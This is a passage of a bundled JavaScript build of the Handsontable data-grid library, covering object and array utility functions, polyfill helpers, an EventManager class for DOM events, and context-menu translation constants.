Object property name. * @returns {*} */ function getProperty(object, name) { var names = name.split('.'); var result = object; objectEach(names, function (nameItem) { result = result[nameItem]; if (result === void 0) { result = void 0; return false; } }); return result; } /** * Return object length (recursively). * * @param {*} object Object for which we want get length. * @returns {Number} */ function deepObjectSize(object) { if (!isObject(object)) { return 0; } var recursObjLen = function recursObjLen(obj) { var result = 0; if (isObject(obj)) { objectEach(obj, function (key) { result += recursObjLen(key); }); } else { result += 1; } return result; }; return recursObjLen(object); } /** * Create object with property where its value change will be observed. * * @param {*} [defaultValue=undefined] Default value. * @param {String} [propertyToListen='value'] Property to listen. * @returns {Object} */ function createObjectPropListener(defaultValue) { var _holder; var propertyToListen = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : 'value'; var privateProperty = "_".concat(propertyToListen); var holder = (_holder = { _touched: false }, _defineProperty(_holder, privateProperty, defaultValue), _defineProperty(_holder, "isTouched", function isTouched() { return this._touched; }), _holder); Object.defineProperty(holder, propertyToListen, { get: function get() { return this[privateProperty]; }, set: function set(value) { this._touched = true; this[privateProperty] = value; }, enumerable: true, configurable: true }); return holder; } /** * Check if at specified `key` there is any value for `object`. * * @param {Object} object Object to search value at specyfic key. * @param {String} key String key to check. */ function hasOwnProperty(object, key) { return Object.prototype.hasOwnProperty.call(object, key); } /***/ }), /* 3 */ /***/ (function(module, exports, __webpack_require__) { "use strict"; exports.__esModule = true; exports.to2dArray = to2dArray; exports.extendArray = extendArray; exports.pivot = pivot; exports.arrayReduce = arrayReduce; exports.arrayFilter = arrayFilter; exports.arrayMap = arrayMap; exports.arrayEach = arrayEach; exports.arraySum = arraySum; exports.arrayMax = arrayMax; exports.arrayMin = arrayMin; exports.arrayAvg = arrayAvg; exports.arrayFlatten = arrayFlatten; exports.arrayUnique = arrayUnique; function to2dArray(arr) { var ilen = arr.length; var i = 0; while (i < ilen) { arr[i] = [arr[i]]; i += 1; } } function extendArray(arr, extension) { var ilen = extension.length; var i = 0; while (i < ilen) { arr.push(extension[i]); i += 1; } } function pivot(arr) { var pivotedArr = []; if (!arr || arr.length === 0 || !arr[0] || arr[0].length === 0) { return pivotedArr; } var rowCount = arr.length; var colCount = arr[0].length; for (var i = 0; i < rowCount; i++) { for (var j = 0; j < colCount; j++) { if (!pivotedArr[j]) { pivotedArr[j] = []; } pivotedArr[j][i] = arr[i][j]; } } return pivotedArr; } /** * A specialized version of `.reduce` for arrays without support for callback * shorthands and `this` binding. * * {@link https://github.com/lodash/lodash/blob/master/lodash.js} * * @param {Array} array The array to iterate over. * @param {Function} iteratee The function invoked per iteration. * @param {*} [accumulator] The initial value. * @param {Boolean} [initFromArray] Specify using the first element of `array` as the initial value. * @returns {*} Returns the accumulated value. */ function arrayReduce(array, iteratee, accumulator, initFromArray) { var index = -1; var iterable = array; var result = accumulator; if (!Array.isArray(array)) { iterable = Array.from(array); } var length = iterable.length; if (initFromArray && length) { index += 1; result = iterable[index]; } index += 1; while (index < length) { result = iteratee(result, iterable[index], index, iterable); index += 1; } return result; } /** * A specialized version of `.filter` for arrays without support for callback * shorthands and `this` binding. * * {@link https://github.com/lodash/lodash/blob/master/lodash.js} * * @param {Array} array The array to iterate over. * @param {Function} predicate The function invoked per iteration. * @returns {Array} Returns the new filtered array. */ function arrayFilter(array, predicate) { var index = 0; var iterable = array; if (!Array.isArray(array)) { iterable = Array.from(array); } var length = iterable.length; var result = []; var resIndex = -1; while (index < length) { var value = iterable[index]; if (predicate(value, index, iterable)) { resIndex += 1; result[resIndex] = value; } index += 1; } return result; } /** * A specialized version of `.map` for arrays without support for callback * shorthands and `this` binding. * * @param {Array} array The array to iterate over. * @param {Function} iteratee The function invoked per iteration. * @returns {Array} Returns the new filtered array. */ function arrayMap(array, iteratee) { var index = 0; var iterable = array; if (!Array.isArray(array)) { iterable = Array.from(array); } var length = iterable.length; var result = []; var resIndex = -1; while (index < length) { var value = iterable[index]; resIndex += 1; result[resIndex] = iteratee(value, index, iterable); index += 1; } return result; } /** * A specialized version of `.forEach` for arrays without support for callback * shorthands and `this` binding. * * {@link https://github.com/lodash/lodash/blob/master/lodash.js} * * @param {Array|*} array The array to iterate over or an any element with implemented iterator protocol. * @param {Function} iteratee The function invoked per iteration. * @returns {Array} Returns `array`. */ function arrayEach(array, iteratee) { var index = 0; var iterable = array; if (!Array.isArray(array)) { iterable = Array.from(array); } var length = iterable.length; while (index < length) { if (iteratee(iterable[index], index, iterable) === false) { break; } index += 1; } return array; } /** * Calculate sum value for each item of the array. * * @param {Array} array The array to process. * @returns {Number} Returns calculated sum value. */ function arraySum(array) { return arrayReduce(array, function (a, b) { return a + b; }, 0); } /** * Returns the highest value from an array. Can be array of numbers or array of strings. * NOTICE: Mixed values is not supported. * * @param {Array} array The array to process. * @returns {Number} Returns the highest value from an array. */ function arrayMax(array) { return arrayReduce(array, function (a, b) { return a > b ? a : b; }, Array.isArray(array) ? array[0] : void 0); } /** * Returns the lowest value from an array. Can be array of numbers or array of strings. * NOTICE: Mixed values is not supported. * * @param {Array} array The array to process. * @returns {Number} Returns the lowest value from an array. */ function arrayMin(array) { return arrayReduce(array, function (a, b) { return a < b ? a : b; }, Array.isArray(array) ? array[0] : void 0); } /** * Calculate average value for each item of the array. * * @param {Array} array The array to process. * @returns {Number} Returns calculated average value. */ function arrayAvg(array) { if (!array.length) { return 0; } return arraySum(array) / array.length; } /** * Flatten multidimensional array. * * @param {Array} array Array of Arrays * @returns {Array} */ function arrayFlatten(array) { return arrayReduce(array, function (initial, value) { return initial.concat(Array.isArray(value) ? arrayFlatten(value) : value); }, []); } /** * Unique values in the array. * * @param {Array} array The array to process. * @returns {Array} */ function arrayUnique(array) { var unique = []; arrayEach(array, function (value) { if (unique.indexOf(value) === -1) { unique.push(value); } }); return unique; } /***/ }), /* 4 */ /***/ (function(module, exports) { module.exports = function (exec) { try { return !!exec(); } catch (e) { return true; } }; /***/ }), /* 5 */ /***/ (function(module, exports, __webpack_require__) { var isObject = __webpack_require__(7); module.exports = function (it) { if (!isObject(it)) throw TypeError(it + ' is not an object!'); return it; }; /***/ }), /* 6 */ /***/ (function(module, exports) { // https://github.com/zloirock/core-js/issues/86#issuecomment-115759028 var global = module.exports = typeof window != 'undefined' && window.Math == Math ? window : typeof self != 'undefined' && self.Math == Math ? self // eslint-disable-next-line no-new-func : Function('return this')(); if (typeof __g == 'number') __g = global; // eslint-disable-line no-undef /***/ }), /* 7 */ /***/ (function(module, exports) { module.exports = function (it) { return typeof it === 'object' ? it !== null : typeof it === 'function'; }; /***/ }), /* 8 */ /***/ (function(module, exports, __webpack_require__) { "use strict"; exports.__esModule = true; __webpack_require__(129); var _viewportColumns = _interopRequireDefault(__webpack_require__(160)); exports.ViewportColumnsCalculator = _viewportColumns.default; var _viewportRows = _interopRequireDefault(__webpack_require__(161)); exports.ViewportRowsCalculator = _viewportRows.default; var _coords = _interopRequireDefault(__webpack_require__(75)); exports.CellCoords = _coords.default; var _range = _interopRequireDefault(__webpack_require__(162)); exports.CellRange = _range.default; var _column = _interopRequireDefault(__webpack_require__(163)); exports.ColumnFilter = _column.default; var _row = _interopRequireDefault(__webpack_require__(164)); exports.RowFilter = _row.default; var _debug = _interopRequireDefault(__webpack_require__(605)); exports.DebugOverlay = _debug.default; var _left = _interopRequireDefault(__webpack_require__(607)); exports.LeftOverlay = _left.default; var _top = _interopRequireDefault(__webpack_require__(608)); exports.TopOverlay = _top.default; var _topLeftCorner = _interopRequireDefault(__webpack_require__(609)); exports.TopLeftCornerOverlay = _topLeftCorner.default; var _bottom = _interopRequireDefault(__webpack_require__(610)); exports.BottomOverlay = _bottom.default; var _bottomLeftCorner = _interopRequireDefault(__webpack_require__(611)); exports.BottomLeftCornerOverlay = _bottomLeftCorner.default; var _border = _interopRequireDefault(__webpack_require__(293)); exports.Border = _border.default; var _core = _interopRequireDefault(__webpack_require__(165)); exports.default = _core.default; exports.Core = _core.default; var _event = _interopRequireDefault(__webpack_require__(286)); exports.Event = _event.default; var _overlays = _interopRequireDefault(__webpack_require__(287)); exports.Overlays = _overlays.default; var _scroll = _interopRequireDefault(__webpack_require__(288)); exports.Scroll = _scroll.default; var _selection = _interopRequireDefault(__webpack_require__(612)); exports.Selection = _selection.default; var _settings = _interopRequireDefault(__webpack_require__(289)); exports.Settings = _settings.default; var _table = _interopRequireDefault(__webpack_require__(290)); exports.Table = _table.default; var _tableRenderer = _interopRequireDefault(__webpack_require__(291)); exports.TableRenderer = _tableRenderer.default; var _viewport = _interopRequireDefault(__webpack_require__(292)); exports.Viewport = _viewport.default; function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; } /***/ }), /* 9 */ /***/ (function(module, exports, __webpack_require__) { "use strict"; exports.__esModule = true; exports.isNumeric = isNumeric; exports.rangeEach = rangeEach; exports.rangeEachReverse = rangeEachReverse; exports.valueAccordingPercent = valueAccordingPercent; function _typeof(obj) { if (typeof Symbol === "function" && typeof Symbol.iterator === "symbol") { _typeof = function _typeof(obj) { return typeof obj; }; } else { _typeof = function _typeof(obj) { return obj && typeof Symbol === "function" && obj.constructor === Symbol && obj !== Symbol.prototype ? "symbol" : typeof obj; }; } return _typeof(obj); } /** * Checks if value of n is a numeric one * http://jsperf.com/isnan-vs-isnumeric/4 * @param n * @returns {boolean} */ function isNumeric(n) { /* eslint-disable */ var t = _typeof(n); return t == 'number' ? !isNaN(n) && isFinite(n) : t == 'string' ? !n.length ? false : n.length == 1 ? /\d/.test(n) : /^\s*[+-]?\s*(?:(?:\d+(?:\.\d+)?(?:e[+-]?\d+)?)|(?:0x[a-f\d]+))\s*$/i.test(n) : t == 'object' ? !!n && typeof n.valueOf() == 'number' && !(n instanceof Date) : false; } /** * A specialized version of `.forEach` defined by ranges. * * @param {Number} rangeFrom The number from start iterate. * @param {Number|Function} rangeTo The number where finish iterate or function as a iteratee. * @param {Function} [iteratee] The function invoked per iteration. */ function rangeEach(rangeFrom, rangeTo, iteratee) { var index = -1; if (typeof rangeTo === 'function') { iteratee = rangeTo; rangeTo = rangeFrom; } else { index = rangeFrom - 1; } while (++index <= rangeTo) { if (iteratee(index) === false) { break; } } } /** * A specialized version of `.forEach` defined by ranges iterable in reverse order. * * @param {Number} rangeFrom The number from start iterate. * @param {Number|Function} rangeTo The number where finish iterate or function as a iteratee. * @param {Function} [iteratee] The function invoked per iteration. */ function rangeEachReverse(rangeFrom, rangeTo, iteratee) { var index = rangeFrom + 1; if (typeof rangeTo === 'function') { iteratee = rangeTo; rangeTo = 0; } while (--index >= rangeTo) { if (iteratee(index) === false) { break; } } } /** * Calculate value from percent. * * @param {Number} value Base value from percent will be calculated. * @param {String|Number} percent Can be Number or String (eq. `'33%'`). * @returns {Number} */ function valueAccordingPercent(value, percent) { percent = parseInt(percent.toString().replace('%', ''), 10); percent = parseInt(value * percent / 100, 10); return percent; } /***/ }), /* 10 */ /***/ (function(module, exports, __webpack_require__) { "use strict"; exports.__esModule = true; exports.getListenersCounter = getListenersCounter; exports.default = void 0; var _element = __webpack_require__(1); var _object = __webpack_require__(2); var _feature = __webpack_require__(47); var _event = __webpack_require__(18); function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError("Cannot call a class as a function"); } } function _defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if ("value" in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } } function _createClass(Constructor, protoProps, staticProps) { if (protoProps) _defineProperties(Constructor.prototype, protoProps); if (staticProps) _defineProperties(Constructor, staticProps); return Constructor; } /** * Counter which tracks unregistered listeners (useful for detecting memory leaks). * * @type {Number} */ var listenersCounter = 0; /** * Event DOM manager for internal use in Handsontable. * * @class EventManager * @util */ var EventManager = /*#__PURE__*/ function () { /** * @param {Object} [context=null] * @private */ function EventManager() { var context = arguments.length > 0 && arguments[0] !== undefined ? arguments[0] : null; _classCallCheck(this, EventManager); this.context = context || this; if (!this.context.eventListeners) { this.context.eventListeners = []; } } /** * Register specified listener (`eventName`) to the element. * * @param {Element} element Target element. * @param {String} eventName Event name. * @param {Function} callback Function which will be called after event occur. * @returns {Function} Returns function which you can easily call to remove that event */ _createClass(EventManager, [{ key: "addEventListener", value: function addEventListener(element, eventName, callback) { var _this = this; var context = this.context; function callbackProxy(event) { callback.call(this, extendEvent(context, event)); } this.context.eventListeners.push({ element: element, event: eventName, callback: callback, callbackProxy: callbackProxy }); element.addEventListener(eventName, callbackProxy, false); listenersCounter += 1; return function () { _this.removeEventListener(element, eventName, callback); }; } /** * Remove the event listener previously registered. * * @param {Element} element Target element. * @param {String} eventName Event name. * @param {Function} callback Function to remove from the event target. It must be the same as during registration listener. */ }, { key: "removeEventListener", value: function removeEventListener(element, eventName, callback) { var len = this.context.eventListeners.length; var tmpEvent; while (len) { len -= 1; tmpEvent = this.context.eventListeners[len]; if (tmpEvent.event === eventName && tmpEvent.element === element) { if (callback && callback !== tmpEvent.callback) { /* eslint-disable no-continue */ continue; } this.context.eventListeners.splice(len, 1); tmpEvent.element.removeEventListener(tmpEvent.event, tmpEvent.callbackProxy, false); listenersCounter -= 1; } } } /** * Clear all previously registered events. * * @private * @since 0.15.0-beta3 */ }, { key: "clearEvents", value: function clearEvents() { if (!this.context) { return; } var len = this.context.eventListeners.length; while (len) { len -= 1; var event = this.context.eventListeners[len]; if (event) { this.removeEventListener(event.element, event.event, event.callback); } } } /** * Clear all previously registered events. */ }, { key: "clear", value: function clear() { this.clearEvents(); } /** * Destroy instance of EventManager. */ }, { key: "destroy", value: function destroy() { this.clearEvents(); this.context = null; } /** * Trigger event at the specified target element. * * @param {Element} element Target element. * @param {String} eventName Event name. */ }, { key: "fireEvent", value: function fireEvent(element, eventName) { var options = { bubbles: true, cancelable: eventName !== 'mousemove', view: window, detail: 0, screenX: 0, screenY: 0, clientX: 1, clientY: 1, ctrlKey: false, altKey: false, shiftKey: false, metaKey: false, button: 0, relatedTarget: undefined }; var event; if (document.createEvent) { event = document.createEvent('MouseEvents'); event.initMouseEvent(eventName, options.bubbles, options.cancelable, options.view, options.detail, options.screenX, options.screenY, options.clientX, options.clientY, options.ctrlKey, options.altKey, options.shiftKey, options.metaKey, options.button, options.relatedTarget || document.body.parentNode); } else { event = document.createEventObject(); } if (element.dispatchEvent) { element.dispatchEvent(event); } else { element.fireEvent("on".concat(eventName), event); } } }]); return EventManager; }(); /** * @param {Object} context * @param {Event} event * @private * @returns {*} */ function extendEvent(context, event) { var componentName = 'HOT-TABLE'; var isHotTableSpotted; var fromElement; var realTarget; var target; var len; event.isTargetWebComponent = false; event.realTarget = event.target; var nativeStopImmediatePropagation = event.stopImmediatePropagation; event.stopImmediatePropagation = function () { nativeStopImmediatePropagation.apply(this); (0, _event.stopImmediatePropagation)(this); }; if (!EventManager.isHotTableEnv) { return event; } // eslint-disable-next-line no-param-reassign event = (0, _element.polymerWrap)(event); len = event.path ? event.path.length : 0; while (len) { len -= 1; if (event.path[len].nodeName === componentName) { isHotTableSpotted = true; } else if (isHotTableSpotted && event.path[len].shadowRoot) { target = event.path[len]; break; } if (len === 0 && !target) { target = event.path[len]; } } if (!target) { target = event.target; } event.isTargetWebComponent = true; if ((0, _feature.isWebComponentSupportedNatively)()) { event.realTarget = event.srcElement || event.toElement; } else if ((0, _object.hasOwnProperty)(context, 'hot') || context.isHotTableEnv || context.wtTable) { // Polymer doesn't support `event.target` property properly we must emulate it ourselves if ((0, _object.hasOwnProperty)(context, 'hot')) { // Custom element fromElement = context.hot ? context.hot.view.wt.wtTable.TABLE : null; } else if (context.isHotTableEnv) { // Handsontable.Core fromElement = context.view.activeWt.wtTable.TABLE.parentNode.parentNode; } else if (context.wtTable) { // Walkontable fromElement = context.wtTable.TABLE.parentNode.parentNode; } realTarget = (0, _element.closest)(event.target, [componentName], fromElement); if (realTarget) { event.realTarget = fromElement.querySelector(componentName) || event.target; } else { event.realTarget = event.target; } } Object.defineProperty(event, 'target', { get: function get() { return (0, _element.polymerWrap)(target); }, enumerable: true, configurable: true }); return event; } var _default = EventManager; exports.default = _default; function getListenersCounter() { return listenersCounter; } /***/ }), /* 11 */ /***/ (function(module, exports, __webpack_require__) { "use strict"; exports.__esModule = true; exports.FILTERS_BUTTONS_PLACEHOLDER_SECOND_VALUE = exports.FILTERS_BUTTONS_PLACEHOLDER_VALUE = exports.FILTERS_BUTTONS_PLACEHOLDER_SEARCH = exports.FILTERS_BUTTONS_CANCEL = exports.FILTERS_BUTTONS_OK = exports.FILTERS_BUTTONS_CLEAR = exports.FILTERS_BUTTONS_SELECT_ALL = exports.FILTERS_VALUES_BLANK_CELLS = exports.FILTERS_LABELS_DISJUNCTION = exports.FILTERS_LABELS_CONJUNCTION = exports.FILTERS_DIVS_FILTER_BY_VALUE = exports.FILTERS_DIVS_FILTER_BY_CONDITION = exports.FILTERS_CONDITIONS_YESTERDAY = exports.FILTERS_CONDITIONS_TOMORROW = exports.FILTERS_CONDITIONS_TODAY = exports.FILTERS_CONDITIONS_BEFORE = exports.FILTERS_CONDITIONS_AFTER = exports.FILTERS_CONDITIONS_NOT_BETWEEN = exports.FILTERS_CONDITIONS_BETWEEN = exports.FILTERS_CONDITIONS_LESS_THAN_OR_EQUAL = exports.FILTERS_CONDITIONS_LESS_THAN = exports.FILTERS_CONDITIONS_GREATER_THAN_OR_EQUAL = exports.FILTERS_CONDITIONS_GREATER_THAN = exports.FILTERS_CONDITIONS_BY_VALUE = exports.FILTERS_CONDITIONS_NOT_CONTAIN = exports.FILTERS_CONDITIONS_CONTAINS = exports.FILTERS_CONDITIONS_ENDS_WITH = exports.FILTERS_CONDITIONS_BEGINS_WITH = exports.FILTERS_CONDITIONS_NOT_EQUAL = exports.FILTERS_CONDITIONS_EQUAL = exports.FILTERS_CONDITIONS_NOT_EMPTY = exports.FILTERS_CONDITIONS_EMPTY = exports.FILTERS_CONDITIONS_NONE = exports.FILTERS_CONDITIONS_NAMESPACE = exports.FILTERS_NAMESPACE = exports.CONTEXTMENU_ITEMS_SHOW_ROW = exports.CONTEXTMENU_ITEMS_HIDE_ROW = exports.CONTEXTMENU_ITEMS_SHOW_COLUMN = exports.CONTEXTMENU_ITEMS_HIDE_COLUMN = exports.CONTEXTMENU_ITEMS_NESTED_ROWS_DETACH_CHILD = exports.CONTEXTMENU_ITEMS_NESTED_ROWS_INSERT_CHILD = exports.CONTEXTMENU_ITEMS_REMOVE_BORDERS = exports.CONTEXTMENU_ITEMS_BORDERS_LEFT = exports.CONTEXTMENU_ITEMS_BORDERS_BOTTOM = exports.CONTEXTMENU_ITEMS_BORDERS_RIGHT = exports.CONTEXTMENU_ITEMS_BORDERS_TOP = exports.CONTEXTMENU_ITEMS_BORDERS = exports.CONTEXTMENU_ITEMS_ALIGNMENT_BOTTOM = exports.CONTEXTMENU_ITEMS_ALIGNMENT_MIDDLE = exports.CONTEXTMENU_ITEMS_ALIGNMENT_TOP = exports.CONTEXTMENU_ITEMS_ALIGNMENT_JUSTIFY = exports.CONTEXTMENU_ITEMS_ALIGNMENT_RIGHT = exports.CONTEXTMENU_ITEMS_ALIGNMENT_CENTER = exports.CONTEXTMENU_ITEMS_ALIGNMENT_LEFT = exports.CONTEXTMENU_ITEMS_ALIGNMENT = exports.CONTEXTMENU_ITEMS_READ_ONLY_COMMENT = exports.CONTEXTMENU_ITEMS_REMOVE_COMMENT = exports.CONTEXTMENU_ITEMS_EDIT_COMMENT = exports.CONTEXTMENU_ITEMS_ADD_COMMENT = exports.CONTEXTMENU_ITEMS_UNMERGE_CELLS = exports.CONTEXTMENU_ITEMS_MERGE_CELLS = exports.CONTEXTMENU_ITEMS_UNFREEZE_COLUMN = exports.CONTEXTMENU_ITEMS_FREEZE_COLUMN = exports.CONTEXTMENU_ITEMS_CUT = exports.CONTEXTMENU_ITEMS_COPY = exports.CONTEXTMENU_ITEMS_CLEAR_COLUMN = exports.CONTEXTMENU_ITEMS_READ_ONLY = exports.CONTEXTMENU_ITEMS_REDO = exports.CONTEXTMENU_ITEMS_UNDO = exports.CONTEXTMENU_ITEMS_REMOVE_COLUMN = exports.CONTEXTMENU_ITEMS_REMOVE_ROW = exports.CONTEXTMENU_ITEMS_INSERT_RIGHT = exports.CONTEXTMENU_ITEMS_INSERT_LEFT = exports.CONTEXTMENU_ITEMS_ROW_BELOW = exports.CONTEXTMENU_ITEMS_ROW_ABOVE = exports.CONTEXT_MENU_ITEMS_NAMESPACE = void 0; /** * Constants for parts of translation. */ var CONTEXT_MENU_ITEMS_NAMESPACE = 'ContextMenu:items'; exports.CONTEXT_MENU_ITEMS_NAMESPACE = CONTEXT_MENU_ITEMS_NAMESPACE; var CONTEXTMENU_ITEMS_ROW_ABOVE = "".concat(CONTEXT_MENU_ITEMS_NAMESPACE, ".insertRowAbove"); exports.CONTEXTMENU_ITEMS_ROW_ABOVE = CONTEXTMENU_ITEMS_ROW_ABOVE; var CONTEXTMENU_ITEMS_ROW_BELOW = "".concat(CONTEXT_MENU_ITEMS_NAMESPACE, ".insertRowBelow"); exports.CONTEXTMENU_ITEMS_ROW_BELOW = CONTEXTMENU_ITEMS_ROW_BELOW; var CONTEXTMENU_ITEMS_INSERT_LEFT = "".concat(CONTEXT_MENU_ITEMS_NAMESPACE, ".insertColumnOnTheLeft"); exports.CONTEXTMENU_ITEMS_INSERT_LEFT = CONTEXTMENU_ITEMS_INSERT_LEFT; var CONTEXTMENU_ITEMS_INSERT_RIGHT = "".concat(CONTEXT_MENU_ITEMS_NAMESPACE, ".insertColumnOnTheRight"); exports.CONTEXTMENU_ITEMS_INSERT_RIGHT = CONTEXTMENU_ITEMS_INSERT_RIGHT; var CONTEXTMENU_ITEMS_REMOVE_ROW = "".concat(CONTEXT_MENU_ITEMS_NAMESPACE, ".removeRow"); exports.CONTEXTMENU_ITEMS_REMOVE_ROW = CONTEXTMENU_ITEMS_REMOVE_ROW; var CONTEXTMENU_ITEMS_REMOVE_COLUMN = "".concat(CONTEXT_MENU_ITEMS_NAMESPACE, ".removeColumn"); exports.CONTEXTMENU_ITEMS_REMOVE_COLUMN = CONTEXTMENU_ITEMS_REMOVE_COLUMN; var CONTEXTMENU_ITEMS_UNDO = "".concat(CONTEXT_MENU_ITEMS_NAMESPACE, ".undo"); exports.CONTEXTMENU_ITEMS_UNDO = CONTEXTMENU_ITEMS_UNDO; var CONTEXTMENU_ITEMS_REDO = "".concat(CONTEXT_MENU_ITEMS_NAMESPACE, ".redo"); exports.CONTEXTMENU_ITEMS_REDO = CONTEXTMENU_ITEMS_REDO; var CONTEXTMENU_ITEMS_READ_ONLY = "".concat(CONTEXT_MENU_ITEMS_NAMESPACE, ".readOnly"); exports.CONTEXTMENU_ITEMS_READ_ONLY = CONTEXTMENU_ITEMS_READ_ONLY; var CONTEXTMENU_ITEMS_CLEAR_COLUMN = "".concat(CONTEXT_MENU_ITEMS_NAMESPACE, ".clearColumn"); exports.CONTEXTMENU_ITEMS_CLEAR_COLUMN = CONTEXTMENU_ITEMS_CLEAR_COLUMN; var CONTEXTMENU_ITEMS_COPY = "".concat(CONTEXT_MENU_ITEMS_NAMESPACE, ".copy"); exports.CONTEXTMENU_ITEMS_COPY = CONTEXTMENU_ITEMS_COPY; var CONTEXTMENU_ITEMS_CUT = "".concat(CONTEXT_MENU_ITEMS_NAMESPACE, ".cut"); exports.CONTEXTMENU_ITEMS_CUT = CONTEXTMENU_ITEMS_CUT; var CONTEXTMENU_ITEMS_FREEZE_COLUMN = "".concat(CONTEXT_MENU_ITEMS_NAMESPACE, ".freezeColumn"); exports.CONTEXTMENU_ITEMS_FREEZE_COLUMN = CONTEXTMENU_ITEMS_FREEZE_COLUMN; var CONTEXTMENU_ITEMS_UNFREEZE_COLUMN = "".concat(CONTEXT_MENU_ITEMS_NAMESPACE, ".unfreezeColumn"); exports.CONTEXTMENU_ITEMS_UNFREEZE_COLUMN = CONTEXTMENU_ITEMS_UNFREEZE_COLUMN; var CONTEXTMENU_ITEMS_MERGE_CELLS = "".concat(CONTEXT_MENU_ITEMS_NAMESPACE, ".mergeCells"); exports.CONTEXTMENU_ITEMS_MERGE_CELLS = CONTEXTMENU_ITEMS_MERGE_CELLS; var CONTEXTMENU_ITEMS_UNMERGE_CELLS = "".concat(CONTEXT_MENU_ITEMS_NAMESPACE, ".unmergeCells"); exports.CONTEXTMENU_ITEMS_UNMERGE_CELLS = CONTEXTMENU_ITEMS_UNMERGE_CELLS; var CONTEXTMENU_ITEMS_ADD_COMMENT = "".concat(CONTEXT_MENU_ITEMS_NAMESPACE, ".addComment"); exports.CONTEXTMENU_ITEMS_ADD_COMMENT = CONTEXTMENU_ITEMS_ADD_COMMENT; var CONTEXTMENU_ITEMS_EDIT_COMMENT = "".concat(CONTEXT_MENU_ITEMS_NAMESPACE, ".editComment"); exports.CONTEXTMENU_ITEMS_EDIT_COMMENT = CONTEXTMENU_ITEMS_EDIT_COMMENT; var CONTEXTMENU_ITEMS_REMOVE_COMMENT = "".concat(CONTEXT_MENU_ITEMS_NAMESPACE, ".removeComment"); exports.CONTEXTMENU_ITEMS_REMOVE_COMMENT = CONTEXTMENU_ITEMS_REMOVE_COMMENT; var CONTEXTMENU_ITEMS_READ_ONLY_COMMENT = "".concat(CONTEXT_MENU_ITEMS_NAMESPACE, ".readOnlyComment"); exports.CONTEXTMENU_ITEMS_READ_ONLY_COMMENT = CONTEXTMENU_ITEMS_READ_ONLY_COMMENT; var CONTEXTMENU_ITEMS_ALIGNMENT = "".concat(CONTEXT_MENU_ITEMS_NAMESPACE, ".align"); exports.CONTEXTMENU_ITEMS_ALIGNMENT = CONTEXTMENU_ITEMS_ALIGNMENT; var CONTEXTMENU_ITEMS_ALIGNMENT_LEFT = "".concat(CONTEXT_MENU_ITEMS_NAMESPACE, ".align.left"); exports.CONTEXTMENU_ITEMS_ALIGNMENT_LEFT = CONTEXTMENU_ITEMS_ALIGNMENT_LEFT; var CONTEXTMENU_ITEMS_ALIGNMENT_CENTER = "".concat(CONTEXT_MENU_ITEMS_NAMESPACE, ".align.center"); exports.CONTEXTMENU_ITEMS_ALIGNMENT_CENTER = CONTEXTMENU_ITEMS_ALIGNMENT_CENTER; var CONTEXTMENU_ITEMS_ALIGNMENT_RIGHT = "".concat(CONTEXT_MENU_ITEMS_NAMESPACE, ".align.right"); exports.CONTEXTMENU_ITEMS_ALIGNMENT_RIGHT = CONTEXTMENU_ITEMS_ALIGNMENT_RIGHT; var CONTEXTMENU_ITEMS_ALIGNMENT_JUSTIFY = "".concat(CONTEXT_MENU_ITEMS_NAMESPACE, ".align.justify"); exports.CONTEXTMENU_ITEMS_ALIGNMENT_JUSTIFY = CONTEXTMENU_ITEMS_ALIGNMENT_JUSTIFY; var CONTEXTMENU_ITEMS_ALIGNMENT_TOP = "".concat(CONTEXT_MENU_ITEMS_NAMESPACE, ".align.top"); exports.CONTEXTMENU_ITEMS_ALIGNMENT_TOP = CONTEXTMENU_ITEMS_ALIGNMENT_TOP; var CONTEXTMENU_ITEMS_ALIGNMENT_MIDDLE = "".concat(CONTEXT_MENU_ITEMS_NAMESPACE, ".align.middle"); exports.CONTEXTMENU_ITEMS_ALIGNMENT_MIDDLE = CONTEXTMENU_ITEMS_ALIGNMENT_MIDDLE; var CONTEXTMENU_ITEMS_ALIGNMENT_BOTTOM = "".concat(CONTEXT_MENU_ITEMS_NAMESPACE, ".align.bottom"); exports.CONTEXTMENU_ITEMS_ALIGNMENT_BOTTOM = CONTEXTMENU_ITEMS_ALIGNMENT_BOTTOM; var CONTEXTMENU_ITEMS_BORDERS = "".concat(CONTEXT_MENU_ITEMS_NAMESPACE, ".borders"); exports.CONTEXTMENU_ITEMS_BORDERS = CONTEXTMENU_ITEMS_BORDERS; var CONTEXTMENU_ITEMS_BORDERS_TOP = "".concat(CONTEXT_MENU_ITEMS_NAMESPACE, ".borders.top"); exports.CONTEXTMENU_ITEMS_BORDERS_TOP = CONTEXTMENU_ITEMS_BORDERS_TOP; var CONTEXTMENU_ITEMS_BORDERS_RIGHT = "".concat(CONTEXT_MENU_ITEMS_NAMESPACE, ".borders.right"); exports.CONTEXTMENU_ITEMS_BORDERS_RIGHT = CONTEXTMENU_ITEMS_BORDERS_RIGHT; var CONTEXTMENU_ITEMS_BORDERS_BOTTOM = "".concat(CONTEXT_MENU_ITEMS_NAMESPACE, ".borders.bottom"); exports.CONTEXTMENU_ITEMS_BORDERS_BOTTOM = CONTEXTMENU_ITEMS_BORDERS_BOTTOM; var CONTEXTMENU_ITEMS_BORDERS_LEFT = "".concat(CONTEXT_MENU_ITEMS_NAMESPACE, ".borders.left"); exports.CONTEXTMENU_ITEMS_BORDERS_LEFT = CONTEXTMENU_ITEMS_BORDERS_LEFT; var CONTEXTMENU_ITEMS_REMOVE_BORDERS = "".concat(CONTEXT_MENU_ITEMS_NAMESPACE, ".borders.remove"); exports.CONTEXTMENU_ITEMS_REMOVE_BORDERS = CONTEXTMENU_ITEMS_REMOVE_BORDERS; var CONTEXTMENU_ITEMS_NESTED_ROWS_INSERT_CHILD = "".concat(CONTEXT_MENU_ITEMS_NAMESPACE, ".nestedHeaders.insertChildRow"); exports.CONTEXTMENU_ITEMS_NESTED_ROWS_INSERT_CHILD = CONTEXTMENU_ITEMS_NESTED_ROWS_INSERT_CHILD; var CONTEXTMENU_ITEMS_NESTED_ROWS_DETACH_CHILD = "".concat(CONTEXT_MENU_ITEMS_NAMESPACE, ".nestedHeaders.detachFromParent"); exports.CONTEXTMENU_ITEMS_NESTED_ROWS_DETACH_CHILD = CONTEXTMENU_ITEMS_NESTED_ROWS_DETACH_CHILD; var CONTEXTMENU_ITEMS_HIDE_COLUMN = 